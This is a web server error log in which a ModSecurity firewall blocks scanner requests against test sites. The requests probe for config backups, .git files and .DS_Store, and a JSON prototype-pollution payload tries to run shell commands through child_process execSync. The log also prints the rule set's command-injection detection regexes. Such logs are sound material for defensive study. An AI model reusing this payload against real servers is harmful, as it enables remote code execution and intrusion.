[Wed Dec 31 11:59:20.146583 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aVUCCEeyC1gpox9HeXVEJgAAAAA"]
[Wed Dec 31 11:59:20.146772 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aVUCCEeyC1gpox9HeXVEJgAAAAA"]
[Wed Dec 31 11:59:20.146942 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aVUCCEeyC1gpox9HeXVEJgAAAAA"]
[Wed Dec 31 11:59:20.191792 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aVUCCEeyC1gpox9HeXVEKAAAAAA"]
[Wed Dec 31 11:59:20.192067 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aVUCCEeyC1gpox9HeXVEKAAAAAA"]
[Wed Dec 31 11:59:20.192213 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aVUCCEeyC1gpox9HeXVEKAAAAAA"]
[Wed Dec 31 11:59:20.286780 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aVUCCEeyC1gpox9HeXVELAAAAAA"]
[Wed Dec 31 11:59:20.286944 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aVUCCEeyC1gpox9HeXVELAAAAAA"]
[Wed Dec 31 11:59:20.287111 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aVUCCEeyC1gpox9HeXVELAAAAAA"]
[Wed Dec 31 11:59:20.311254 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVUCCEeyC1gpox9HeXVELQAAAAA"]
[Wed Dec 31 11:59:20.311436 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVUCCEeyC1gpox9HeXVELQAAAAA"]
[Wed Dec 31 11:59:20.311577 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVUCCEeyC1gpox9HeXVELQAAAAA"]
[Wed Dec 31 13:44:16.533879 2025] [:error] [pid 1096223] [client 85.11.167.4:45896] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1767185056_3601',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoGdu4GPM3i--VUEaJQAAABc"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 13:44:16.534013 2025] [:error] [pid 1096223] [client 85.11.167.4:45896] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1767185056_3601',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [ [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoGdu4GPM3i--VUEaJQAAABc"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 13:44:16.534106 2025] [:error] [pid 1096223] [client 85.11.167.4:45896] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo vuln_1767185056_3601 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoGdu4GPM3i--VUEaJQAAABc"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 13:44:16.535213 2025] [:error] [pid 1096223] [client 85.11.167.4:45896] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoGdu4GPM3i--VUEaJQAAABc"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 13:44:16.535361 2025] [:error] [pid 1096223] [client 85.11.167.4:45896] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoGdu4GPM3i--VUEaJQAAABc"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 13:44:16.659686 2025] [:error] [pid 1096217] [client 85.11.167.4:45908] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo TEST_1767185056',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "app [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoFRIYZkOd0KBKLvJaQAAABE"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 13:44:16.659796 2025] [:error] [pid 1096217] [client 85.11.167.4:45908] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo TEST_1767185056',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag " [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoFRIYZkOd0KBKLvJaQAAABE"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 13:44:16.659867 2025] [:error] [pid 1096217] [client 85.11.167.4:45908] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo test_1767185056 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoFRIYZkOd0KBKLvJaQAAABE"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 13:44:16.660885 2025] [:error] [pid 1096217] [client 85.11.167.4:45908] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoFRIYZkOd0KBKLvJaQAAABE"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 13:44:16.661037 2025] [:error] [pid 1096217] [client 85.11.167.4:45908] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aVUaoFRIYZkOd0KBKLvJaQAAABE"], referer: https://forst-trento.test.indacotrentino.com
[Wed Dec 31 16:51:48.172738 2025] [:error] [pid 1096217] [client 45.144.212.58:58168] [client 45.144.212.58] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVVGlFRIYZkOd0KBKLvJ1gAAABE"]
[Wed Dec 31 16:51:48.173039 2025] [:error] [pid 1096217] [client 45.144.212.58:58168] [client 45.144.212.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVVGlFRIYZkOd0KBKLvJ1gAAABE"]
[Wed Dec 31 16:51:48.173203 2025] [:error] [pid 1096217] [client 45.144.212.58:58168] [client 45.144.212.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVVGlFRIYZkOd0KBKLvJ1gAAABE"]
[Thu Jan 01 09:55:00.003650 2026] [:error] [pid 1117409] [client 164.92.135.39:56678] [client 164.92.135.39] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVY2ZAUrf4LBDcFoSo0eDgAAAAE"]
[Thu Jan 01 09:55:00.003895 2026] [:error] [pid 1117409] [client 164.92.135.39:56678] [client 164.92.135.39] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVY2ZAUrf4LBDcFoSo0eDgAAAAE"]
[Thu Jan 01 09:55:00.004049 2026] [:error] [pid 1117409] [client 164.92.135.39:56678] [client 164.92.135.39] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVY2ZAUrf4LBDcFoSo0eDgAAAAE"]
[Thu Jan 01 21:39:46.345973 2026] [authz_core:error] [pid 1122285] [client 146.190.103.103:53376] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Thu Jan 01 21:39:49.358579 2026] [:error] [pid 1122286] [client 146.190.103.103:53404] [client 146.190.103.103] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aVbbld_f6bTRaSZFyl1U1gAAAAk"]
[Thu Jan 01 21:39:49.358802 2026] [:error] [pid 1122286] [client 146.190.103.103:53404] [client 146.190.103.103] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aVbbld_f6bTRaSZFyl1U1gAAAAk"]
[Thu Jan 01 21:39:49.358949 2026] [:error] [pid 1122286] [client 146.190.103.103:53404] [client 146.190.103.103] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aVbbld_f6bTRaSZFyl1U1gAAAAk"]
